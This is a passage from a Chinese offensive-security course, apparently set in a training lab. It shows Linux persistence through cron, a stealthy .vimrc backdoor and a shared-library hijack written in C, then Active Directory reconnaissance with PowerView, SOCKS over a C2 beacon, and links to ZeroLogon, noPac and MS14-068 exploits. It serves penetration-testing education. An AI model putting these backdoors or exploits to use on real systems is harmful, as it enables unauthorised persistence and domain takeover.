# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/C6RwzZCU1vLd9s1u-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/C6RwzZCU1vLd9s1u-image.png)

我们可以在该文件中写入一个计划任务，例如执行命令 **touch /tmp/crontab**，那么我们在末尾添加 **\* \* \* \* \* root touch /tmp/crontab**，保存，等候一分钟。

```shell
root@web01:~# ls -al /tmp/crontab
ls: cannot access '/tmp/crontab': No such file or directory
root@web01:~# cat /etc/crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root touch /tmp/crontab
#
root@web01:~# ls -al /tmp/crontab
-rw-r--r-- 1 root root 0 Mar 29 17:48 /tmp/crontab
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/cdJJ4dZdtq6wWEHZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/cdJJ4dZdtq6wWEHZ-image.png)

如果以特定用户创建计划任务，我们可以使用 **crontab** **-e** 命令来编辑。

#### **VIM 后门**

考虑到 vim 是非常常用的文本编辑工具，并且 vim 支持特定的脚本命令，我们可以为 vim 命令插入后门。在用户目录下编辑或新建 **.vimrc** 文件，添加 **:silent !touch /tmp/vim** 命令。**:silent** 是为了消除打开 vim 时的提示消息，一定程度上提升隐蔽性，**!** 后面跟着的则是 bash 命令。我们来看一下成果：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/sOrPrlxpxskbr6aC-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/sOrPrlxpxskbr6aC-image.png)

```shell
web01@web01:~$ nano .vimrc 
web01@web01:~$ cat .vimrc 
:silent !touch /tmp/vim
web01@web01:~$ rm /tmp/vim
web01@web01:~$ vim

web01@web01:~$ ls -al /tmp/vim
-rw-rw-r-- 1 web01 web01 0 Mar 29 17:55 /tmp/vim
```

### **共享库劫持**

虽然 Windows 与 Linux 的可执行程序的结构并不相同，但还是有一些相似之处。例如，Windows 程序会加载 DLL 文件，而 Linux 的 elf 程序会加载共享库文件。无论是 DLL 文件还是共享库文件，都可以被不同的应用复用。类似于 DLL 的搜索顺序，共享库的搜索也有着特定的顺序，顺序如下：

```
应用程序 RPATH 值所指定的目录

LD_LIBRARY_PATH 环境变量所指定的目录

应用程序 RUNPATH 值所指定的目录

/etc/ld.so.conf 文件中指定的目录

/lib，/lib64，/usr/lib，/usr/local/lib，/usr/local/lib64 以及其他一些可能的目录
```

在知道这样的顺序之后，我们可以在优先级更高的目录下放置恶意载荷，以被应用程序加载并触发代码执行或 Beacon 连接。

#### **LD\_LIBRARY\_PATH 劫持**

**LD\_LIBRARY\_PATH** 指定的路径优先级较高，如果我们在之前所述的 **bashrc** 中添加一个**设置 LD\_LIBRARY\_PATH 环境变量**的命令，那么用户在执行应用程序的时候，除了 RPATH 中指定的目录，我们所指定的路径中的共享库会被较为优先地加载。我们以较为常用的命令 /usr/bin/ping 为例，通过 **ldd /usr/bin/ping** 查看 ping 所加载的共享库文件，发现了一个看起来是报告错误的共享库 **libgpg-error.so.0**。希望取代原有的共享库文件不会影响到 ping 的功能。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/jAwxEcakDdq3NGVn-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/jAwxEcakDdq3NGVn-image.png)

我们编写一个简易的 PoC，代码如下：

```c++
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> // for setuid/setgid
static void hijack() __attribute__((constructor));
void hijack() {
	setuid(0);
	setgid(0);
	printf("HIJACKING...\n");
	system("touch /tmp/hijack1");
}
```

接着，对其进行编译与连接：

```shell
root@web01:/home/web01# gcc -Wall -fPIC -c -o hijack.o hijack.c 
root@web01:/home/web01# gcc -shared -o hijack.so hijack.o
root@web01:/home/web01# ldd /usr/bin/ping | grep error
	libgpg-error.so.0 => /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007f36cfcb3000)
```

**-Wall** 选项给出更具体的警告，**-fPIC** 选项让编译器生成位置独立代码 (PIC)，**-c** 选项让编译器先不连接。然后，第二个 gcc 命令中的 **-share** 告诉 gcc 生成共享库文件。

更改 **LD\_LIBRARY\_PATH** 环境变量以测试，然后执行 ping 命令，但是我们发现报错了：

```shell
root@web01:/home/web01# mv hijack.so libgpg-error.so.0
root@web01:/home/web01# export LD_LIBRARY_PATH=/home/web01
root@web01:/home/web01# ping 127.0.0.1
ping: /home/web01/libgpg-error.so.0: no version information available (required by /lib/x86_64-linux-gnu/libgcrypt.so.20)
ping: symbol lookup error: /lib/x86_64-linux-gnu/libgcrypt.so.20: undefined symbol: gpgrt_lock_lock, version GPG_ERROR_1.0
```

从报错中看到，应用程序期望从该共享库文件中读取到特定的函数、变量等。接下来我们要做的，中心思想类似于 DLL 代理，即把原共享库的功能转发到我们恶意的共享库中，但其实我们只需要把所要寻找的变量名 (包括函数名等) 定义在代码里就行，而不需要完整复刻其类型和用法。

我们可以使用命令 **readelf -s --wide /lib/x86\_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG\_ERROR | awk '{print $8}' | sed 's/@@GPG\_ERROR\_1.0/;/g'** 导出所需变量名。**readelf** 以及 **-s** 选项可以导出所有的变量名，**--wide** 使得输出不被截断，之后则是对变量名进行基于关键字的筛选并打印出来。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/3YxUIydd7pfzkmTL-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/3YxUIydd7pfzkmTL-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/NLVRreex1fYHiSRy-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/NLVRreex1fYHiSRy-image.png)

```shell
root@web01:/home/web01# readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print $8}' | sed 's/@@GPG_ERROR_1.0/;/g' 
gpgrt_ftruncate;
gpgrt_logv;
gpgrt_strdup;
gpgrt_printf_unlocked;
gpgrt_ftello;
gpg_err_code_to_errno;
............
gpgrt_fpopen_nc;
gpgrt_fopenmem_init;
gpgrt_mopen;
gpg_error_check_version;
gpgrt_fseek;
```

将这些变量名添加到代码中，重新编译，并重复之前的步骤，最后执行 ping，我们发现劫持成功。

```shell
root@web01:/home/web01# mv hijack.so libgpg-error.so.0
root@web01:/home/web01# ping 127.0.0.1
ping: /home/web01/libgpg-error.so.0: no version information available (required by /lib/x86_64-linux-gnu/libgcrypt.so.20)
HIJACKING...
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.197 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.100 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.097 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.099 ms
^C
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3068ms
rtt min/avg/max/mdev = 0.097/0.123/0.197/0.042 ms
root@web01:/home/web01# ls -al /tmp/hijack1 
-rw-r--r-- 1 root root 0 Mar 29 19:12 /tmp/hijack1

```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/rRzEydlyuFPX6iMG-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/rRzEydlyuFPX6iMG-image.png)

# 第6章课后作业

### **练习**

1：复现使用计划任务实现持久化

2：复现使用启动与登陆事件实现持久化

3：尝试使用 **Logon Helper** 的方法实现持久化

4：在自己的 VM 中安装一广受使用的桌面应用，例如 WPS。寻找一个可以完美劫持 (不用担心破坏原 DLL 的功能，因为所有搜索路径中都不存在该 DLL) 的 DLL，并劫持。

5：寻找一个 DLL 目标并实现 DLL 代理

6：搜索与调研，使用快捷方式实现持久化

7：搜索与调研，使用屏幕保护程序实现持久化

8：修改用户的 bashrc 以自动配置 **LD\_LIBRARY\_PATH** 环境变量 (即不需要手动设置)，然后复现 Linux 的共享库劫持案例

### **拓展**

1：寻找另一个常用程序及其可被劫持的共享库

# 面试专题

# 章节7：域侦查



# 历史 CVE 漏洞

在进入域环境后，我们就可以对域进行侦查与枚举了。域是个很庞大的设施，有诸多信息需要我们去提取和枚举，一开始我们可能会觉得有些手足无措，但只要我们梳理好顺序与思路，就不会错过重要的线索。

我一直坚持，枚举和利用总是从最简单的做起，即 low hanging fruit。对于一个保持系统更新的企业域环境来说，想通过 1 个 CVE 漏洞一键接管是较难遇到的事情了，虽然有一些辅助性的漏洞或者默认配置（例如未开启LDAP签名、频道绑定）可以协助我们对单个主机进行执行远程代码或者特权提升。但另一方面，企业并非总是时刻保持域服务器的更新，因此容易受到一些历史 CVE 漏洞影响，尤其是近两年的。这些漏洞，能帮助拿下多个主机，甚至一键接管整个域乃至森林。

#### **配置 SOCKS**

在枚举这些漏洞的存在之前，在任意一个 Beacon 交互中执行 **socks 1080** 命令，这会在我们的 C2 服务器上开启 **1080** 端口。关于 SOCKS 代理的细节，我们会在后面的章节更详细地介绍。因为这些 CVE 漏洞的扫描或者利用 PoC 有的是以 **Python** 脚本的形式，我们会想在 VPS 上通过 SOCKS 将流量转发过去。如果 PoC 是 **.NET** 程序或者 **BOF** 的形式，那自然是更好的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/yVDOe0cuHIv0DbKV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/yVDOe0cuHIv0DbKV-image.png)

安装 **proxychains**，如果系统中还没有安装的话。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/ra4VF5pdnxKgShOP-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/ra4VF5pdnxKgShOP-image.png)

编辑 **/etc/proxychains.conf**

```shell
strict_chain
proxy_dns 
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks4 	127.0.0.1 1080

```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-05/scaled-1680-/YNny87pa7OnfIrZd-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-05/YNny87pa7OnfIrZd-image.png)

使用 **nmap** 测试对靶场内部主机的连通性：**proxychains nmap -sT -Pn 172.16.1.52 -p135,139,445**

```shell
ubuntu@ts:~$ proxychains nmap -sT -Pn 172.16.1.52 -p135,139,445
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-30 15:54 UTC
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.52:139-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.52:135-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.52:445-<><>-OK
Nmap scan report for ip-172-16-1-52.ec2.internal (172.16.1.52)
Host is up (0.76s latency).

PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

```

#### **CVE-2022-26923 证书服务提权漏洞**

低权限的域用户在默认的 AD 以及 ADCS 环境中可以提升至域管理员特权。该漏洞需要多个工具组合利用，因为似乎暂时没有一键扫描或利用脚本，在后续章节我们会讲手动利用的具体过程。

#### **CVE-2020-1472 ZeroLogon 漏洞**

因为脆弱的密码学设计，攻击者可以模仿任何域主机，包括域控制器，以实现提权。脚本 ([https://github.com/SecuraBV/CVE-2020-1472)](https://github.com/SecuraBV/CVE-2020-1472)) 可用于测试目标域是否受该漏洞影响。我们可以使用 .NET 版本的工具 ([https://github.com/leitosama/SharpZeroLogon/tree/main](https://github.com/leitosama/SharpZeroLogon/tree/main)) 来测试和利用。该漏洞不需要认证或者明文凭证。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/KtyijchuaAWyQJNM-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/KtyijchuaAWyQJNM-image.png)

我们甚至能跨域对 dc01 进行检测：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/i1UrBEgEc6MLzQuN-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/i1UrBEgEc6MLzQuN-image.png)

#### **CVE-2021-42278 NoPAC 漏洞**

该漏洞实际上利用了主机账号的伪造，攻击者可以从普通用户提升为域管理员。脚本 ([https://github.com/Ridter/noPac](https://github.com/Ridter/noPac)) 可用于检测以及利用该漏洞。但这里，我发现了个 .NET 编写的检测与利用工具 ([https://github.com/cube0x0/noPac](https://github.com/cube0x0/noPac))，下载后打开该项目，将 Main 函数公开化，编译。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/sLxYb7xkP7PSlNvv-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/sLxYb7xkP7PSlNvv-image.png)

将 exe 文件转移到 VPS 上。我们使用 execute-assembly 执行该工具。我们需要提供一个有效的账户，正好我们之前在 Web02 上找到了 serveradm 用户的明文凭证。

根据输出结果，**white-bird.local** 的域控具有 noPAC 的漏洞，我们在持有一个有效账户的情况下可以一键域内提权。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/TMVclDjhxDXJB0Ln-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/TMVclDjhxDXJB0Ln-image.png)

#### **MS14-068**

因为KDC对于伪造票据签名的失败校验，攻击者可以模仿域管理员从而接管域。我们可以使用脚本 ([https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS14-068/pykek/ms14-068.py](https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS14-068/pykek/ms14-068.py)) 对受影响的主机进行利用。考虑到该漏洞较为久远，且靶场的主机都是 Windows 2019，理论上不会存在该漏洞，我们就不进行尝试了。

# 用户与组

用户与组是域的重要组成部分，并且组是用户的容器，在同一个组里的用户具有特定的相同属性。对于用户和组的枚举，自然是我们首先要做的，因为很多漏洞和不当配置的利用都是围绕着用户与组、主机、服务等展开的。

### **准备工作**

我们可以使用多种工具对域内的用于和组进行枚举，这里，我们使用 **PowerView** 脚本。我们可以通过 **powershell-import** 导入脚本，然后使用 **powershell** 或者 **powerpick** 命令进行脚本命令执行。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/fOl7BLMrVKwI5Hts-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/fOl7BLMrVKwI5Hts-image.png)

**Web02** 在 **white-bird.local** 域中，我们可以进而对该域进行枚举。虽然我们还没有正式学到域信任的概念，在课程介绍阶段，大家了解到 **white-bird.local** 与 **raven-med.local** 域互相信任，当然也包括了 Web01 主机所在的 **prod** 子域。简单来说，可以互相访问对方域的资源，至少可以枚举对方域的域信息。例如，我们在 Web02 主机上以 **white-bird\\serveradm** 的身份枚举到了 PROD 域中的所有域用户的账户名称，通过 **-domain** 指定要枚举的域。Web01 是一台 Linux 的域主机，如果一些学员对在 Linux 域主机的枚举还不熟悉的话，我们可以以这样的方式跨域枚举。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/LDSbjsEvBKrT8K6U-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/LDSbjsEvBKrT8K6U-image.png)

好了，补充了工具用法与简单的理论知识，我们来枚举域的用户与群组信息。

### **用户的枚举**

在枚举域用户的时候，我们需要关注以下这些属性：

##### **用户描述**

虽然很多时候用户描述可能是空白的，但如果不是空白的话，用户描述可能会揭露域用户的角色。 如服务器管理员、开发人员等。

```powershell
Get-NetUser | select description
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/LiwSbfR0e9rh1dhl-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/LiwSbfR0e9rh1dhl-image.png)

我们没有发现什么特别的，然后看看 **raven-med.local** 域的：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/6MfKbkncDn9xVIt1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/6MfKbkncDn9xVIt1-image.png)

我们发现 **simon** 的描述是 **CA Manager**，这也许意味着 **simon** 具有 **CA** 相关的权限，我们发现 **simon** 是分组 **CertManager** 的成员。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/51OZvJFbsbB27Ajc-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/51OZvJFbsbB27Ajc-image.png)

##### **预认证**

如果某些域用户禁用了预认证 ，我们可以使用 **ASREPRoasting** 攻击他们并获取 **krb5asrep** 哈希。 如果幸运的话，我们有可能离线破解这些哈希并获得明文凭证。在现代化的 **AD** 环境中，已经没有必要禁用预认证了，从安全与防御的角度出发，系统管理员应当给所有账户开启域认证。

```powershell
Get-NetUser -PreAuthNotRequired
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/u9TRd9JmcbSR8YSF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/u9TRd9JmcbSR8YSF-image.png)

在当前域，是没有符合条件的用户存在的，看看其他的域，发现了用户 jason 不需要预认证。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/IbEj0Tu5iSNrQVFJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/IbEj0Tu5iSNrQVFJ-image.png)

##### **SPN**

如果一个域用户被设置了SPN，那么它是一个**服务帐号**。我们可以对它们进行 **Kerberoasting** 攻击并获取 **krb5tgs** 哈希。 如果幸运的话，我们可能离线破解这些哈希并获得用户的明文凭证。

```powershell
Get-NetUser -SPN
```

我们发现，账户 **sql\_service** 与 **krbtgt** 被设置了 **SPN**。**sql\_service** 看起来就是一个 SQL 的服务账户，而 krbtgt 总是会被设置 SPN，但实际并不可利用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/0MpLR7oCRtDYlxO6-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/0MpLR7oCRtDYlxO6-image.png)

##### **组归属**

每个域用户至少属于“**域用户**”组，但如果有任何域用户属于多个组，那么他们往往可能具有特别的权限，例如可以访问某台主机上的共享目录。

```powershell
Get-NetUser | select samaccountname,memberof
```

更适合通过 **BloodHound** (后续内容介绍) 查看成员与组的关系。

我们以当前用户 **serveradm** 为例，发现其来自群组 **Server Admin**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/ZAIeDJclQqYh4tss-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/ZAIeDJclQqYh4tss-image.png)

查看 **Server Admin** 群组信息，根据描述得知，该组成员可以管理 **Web02** 与 **Dev01** 主机，因此 **serveradm** 可能对这 **2** 个主机具有远程访问权限，甚至最高权限 (root 和 Administrator)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/47OqU1YVhEUnsA7T-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/47OqU1YVhEUnsA7T-image.png)

##### **外部成员**

如果一个外部成员被拿下了，我们可借此移动到该外部成员原来所在的域。

```powershell
Get-DomainForeignUser
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/kAuUpxHWsnlnKYno-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/kAuUpxHWsnlnKYno-image.png)

在我们可访问的域里，并没有发现外部成员。但是，我们发现，**raven-med.local** 中的用户 **michael**，在名为 **ExtAdmin** 的分组中。**ExtAdmin** 让人联想到 **External Administrator**，那么会不会代表 **michael** 在其他一个我们目前无法访问的域里充当着外部成员呢？这个只能在我们获得了更多的系统和域后验证了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/bbg8ueC5L3hNJkkd-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/bbg8ueC5L3hNJkkd-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/VcBcZtcGkgvdtpzu-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/VcBcZtcGkgvdtpzu-image.png)

### **组的枚举**

而在枚举组的时候，我们需要关注一下这些

##### **组描述**

类似于用户描述。不过有很多组是内置的，因此描述也是统一的。

```powershell
Get-NetGroup | select samaccountname,description
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/0Vnu3dk9iLyyDKOr-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/0Vnu3dk9iLyyDKOr-image.png)

我们查看 **raven-medicine.local** 域中的 **Cert Manager** 组的描述：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/xAMOJRjp43zxX5xY-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/xAMOJRjp43zxX5xY-image.png)

##### **组类型**

如果一个组并非是内置的，而是自定义的，例如**Server Admins**，那么我们需要多关注一下，因为这个组可能具有特定的权限，例如对 SQL 服务器具备本地管理员权限。

在当前域中，我们已经查看过了自定义分组 **Server Admin** 了

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/WGshnzB2kMzjuspY-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/WGshnzB2kMzjuspY-image.png)

在 PROD 域中，有 1 个自定义分组，**Security Team**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/bPx4NaQyQ8F0PUVX-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/bPx4NaQyQ8F0PUVX-image.png)

例如在 raven-medicine.local 域中，有 2 个自定义的分组，**CertManager** 和 **ExtAdm**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/fdAR4FOMptJ0UXCe-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/fdAR4FOMptJ0UXCe-image.png)

##### **外部组**

意义同外部成员。

```powershell
Get-DomainForeignGroupMember
```

我们没有在当前域中找到相关记录

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/E4nPzz1CVDGkCmWZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/E4nPzz1CVDGkCmWZ-image.png)

但是在 PROD 域中，我们找到了一些外部组，这是合理的，因为 PROD 和 RAVEN-MED 域是父子域。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/avOUxWTNS03QDSdA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/avOUxWTNS03QDSdA-image.png)

# 主机

主机是用户、服务的载体，清晰了解每个主机的作用十分重要。在进入域后，我们可以记下主机的 **IP**、**操作系统**、**FQDN** 等信息。

### **FQDN**

FQDN 的形式是 主机名与完整域名的接合，是在域内定位一台域主机的方法之一。在 PowerView 中，**dnshostname** 属性即主机的 FQDN。

```powershell
Get-NetComputer | select dnshostname
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/rJwBKjfUQDZQ48Rn-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/rJwBKjfUQDZQ48Rn-image.png)

当前域，有 3 个主机，其中 2 个为 Windows 主机，dev01 为 Linux 主机。

我们再看看其他域的情况：

**RAVEN-MED** 域有 **2** 个主机

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/CY3gb59sdyYpczPB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/CY3gb59sdyYpczPB-image.png)

**PROD** 域有 **4** 个主机

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/eTmVfkYbMZ2R3wUH-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/eTmVfkYbMZ2R3wUH-image.png)

其实我们可以根据 FQDN 来推测目标主机在域中的作用和角色是什么。**web01**，**web02** 确实都是 Web 应用服务器，**file01** 推测是作为文件服务器。

####  

### **IP 地址**

除了 FQDN，在域内定位域主机的另一种方式则是 IP，我们可以使用 Windows 命令 nslookup.exe 来得到目标主机的 IP 地址。

```powershell
nslookup [主机名]
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/8qWDBAkqDxOnGwaq-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/8qWDBAkqDxOnGwaq-image.png)

我们可以指定 FQDN，查看其他域的域主机 IP。前提是 DNS 是相互同步的，通常在建立有域信任的情况下。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/9ffL1V72v7rZNIkx-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/9ffL1V72v7rZNIkx-image.png)

###  

### **操作系统**

虽然活动目录原生为 Windows 系统打造，但后来，也增加了对 Linux，Mac 等系统的支持。我们的靶场里没有 Mac 系统主机，但有一些 Linux 系统主机，我们可以根据 **operatingsystem** 属性来查看。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/tfSENTVUyYaKh8aA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/tfSENTVUyYaKh8aA-image.png)

在 **PROD** 域中，也有一台 Linux 域主机：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/1sb0dD2atwbNRQmJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/1sb0dD2atwbNRQmJ-image.png)

##### **Windows 主机**

Windows 主机的属性更加复杂，因为 Windows 主机不仅作为主机，而且主机对应的主机帐号也享有着一些类似于用户帐号的特性。单纯作为主机而言，Windows 主机可以被设置委派、GPO 实施的对象等。我们在后续内容中详细展开。

##### **Linux 主机**

默认情况下，Linux 的域主机是允许 SSH 访问的，除非指定禁止特定用户访问。这点不像在 Windows 上，如果需要配置 RDP、WinRM访问，需要给用户单独设置特定权限。因此，有了明文凭证后，我们可以尝试使用域账户登录到 Linux 主机上。但系统管理员也可能会修改此默认配置。

```shell
root@ts:~# proxychains ssh serveradm@white-bird.local@172.16.1.53
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.53:22-<><>-OK
The authenticity of host '172.16.1.53 (172.16.1.53)' can't be established.
ECDSA key fingerprint is SHA256:P29afmXbT4KB5pYj0TbtWcjvEnMvl1ye0vYvFDf9UJE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.16.1.53' (ECDSA) to the list of known hosts.
serveradm@white-bird.local@172.16.1.53's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.15.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Your Hardware Enablement Stack (HWE) is supported until April 2025.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

serveradm@dev01:~$ whoami
serveradm

```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/bXdbrKgL8SDccDtD-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/bXdbrKgL8SDccDtD-image.png)

# OU 与 GPO

组织单元，即 **OU**，可以用来充当具有同样性质的一些对象的容器。例如，同为 **SQL 服务器**的 SRV01 与 SRV02 可以用 OU SQL\_Server 来存放。再比如，一家公司里，职位相同的一些员工如 HR 的帐号，由 OU HR 来盛放。

而 GPO 是一组定义了系统配置的设置， 并可作用于 OU。通过枚举 GPO，我们可以查看当前域对特定 OU 的特殊设置。我们可能不知道 GPO 的详细设置，但我们可以根据 GPO 名称或描述来推断它们的作用。GPO也可能有助于我们移动到其他机器。例如，GPO可以授予某些用户对特定计算机的 RDP 或 WinRM 访问权。

### **枚举OU**

我们枚举一下当前域的所有 OU:

```powershell
Get-DomainOU -Properties Name
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/DDkrP1ilQpuBSR6R-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/DDkrP1ilQpuBSR6R-image.png)

总共有 3 个 OU，其中 2 个是自定义的。而 PROD 域中则有多个自定义 OU，

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/dwQpSnW1VlTe6gL1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/dwQpSnW1VlTe6gL1-image.png)

